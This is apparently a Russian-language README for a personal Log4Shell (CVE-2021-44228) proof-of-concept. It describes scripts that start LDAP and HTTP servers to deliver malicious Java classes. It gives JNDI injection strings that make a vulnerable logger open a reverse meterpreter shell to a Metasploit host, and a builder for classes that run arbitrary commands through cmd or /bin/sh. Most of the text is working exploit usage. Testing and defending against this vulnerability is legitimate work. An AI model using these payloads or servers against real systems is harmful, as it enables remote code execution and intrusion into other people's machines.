
Log4Shell (Cve-2021-44228) — доказательство концепции
Log4Shell (Cve-2021-44228) — доказательство концепции
Это личный проект, который запускает простой POC: он поднимает LDAP-сервер и HTTP-сервер для эксплуатации Log4Shell.
Скрипт run_servers.py настроит урезанный meterpreter-клиент, который установит обратное соединение с экземпляром Metasploit, переданным в LDAP-запросе. Это запустит экземпляр meterpreter в потоке исходного процесса, затронутого эксплуатацией Log4Shell.
LDAP-сервер написан на Java, а HTTP-сервер реализован на Python и раздаёт файлы из вновь созданной директории wwwroot. Для сборки эксплойтов и запуска LDAP-сервера требуются java, javac и mvn. Я использовал Java 8.
Также требуется Python3.
запустите: python3 run_servers.py <your_ip_address> <the_http_port> [ldap_port]
Затем передайте jndi-строку уязвимому клиенту для логирования, например: если ваш хост — 10.20.30.40, а ваш экземпляр Metasploit — 20.30.40.50, слушающий порт 4444, это выглядело бы так: '${jndi:ldap://10.20.30.40:1389/#MM:20.30.40.50:4444}'
Вы можете создавать классы, которые будут запускать исполняемые файлы в исходной системе. Вы можете задавать разные команды для систем на базе Windows или Linux. Например, чтобы создать класс TestCmd, который запускает калькулятор в Windows и Firefox в Linux, выполните: python3 build_cmd.py TestCmd -w "Calc.exe" -l "firefox"
Вы можете иметь несколько предварительно собранных классов. Если не указать команду для целевой ОС, ничего не выполняется. Обратите внимание, что эти команды выполняются как CMD \c "your command" в Windows и /bin/sh -c "your command" в Linux.
Чтобы запустить указанную выше команду, используйте имя созданного класса, например: '${jndi:ldap://10.20.30.40:1389/#TestCmd'
Файл Payload.java — это полный Meterpreter-файл, настроенный для запуска в виде потока в вызывающем процессе, затронутом проблемой log4shell. Его необходимо вручную скомпилировать и переместить в каталог wwwroot. Кроме того, вам нужно настроить файл metasploit.dat с необходимыми свойствами.
В каталоге clients есть два клиента, которые можно запустить. Первый — простая программа командной строки, которая записывает в журнал ошибок всё, что передано в качестве первого параметра.
Второй — простой веб-сервер, который записывает в журнал ошибок информацию из заголовка log_me. Обратите внимание, что запускать его следует в изолированной контролируемой среде.
перейдите в каталог clients и выполните ./build_clients.sh
из каталога clients выполните: java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jWebServer [Port_number]
из каталога clients выполните: java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jCmdLine '${jndi:ldap://127.0.0.1:1389/#MM:127.0.0.1:4444}'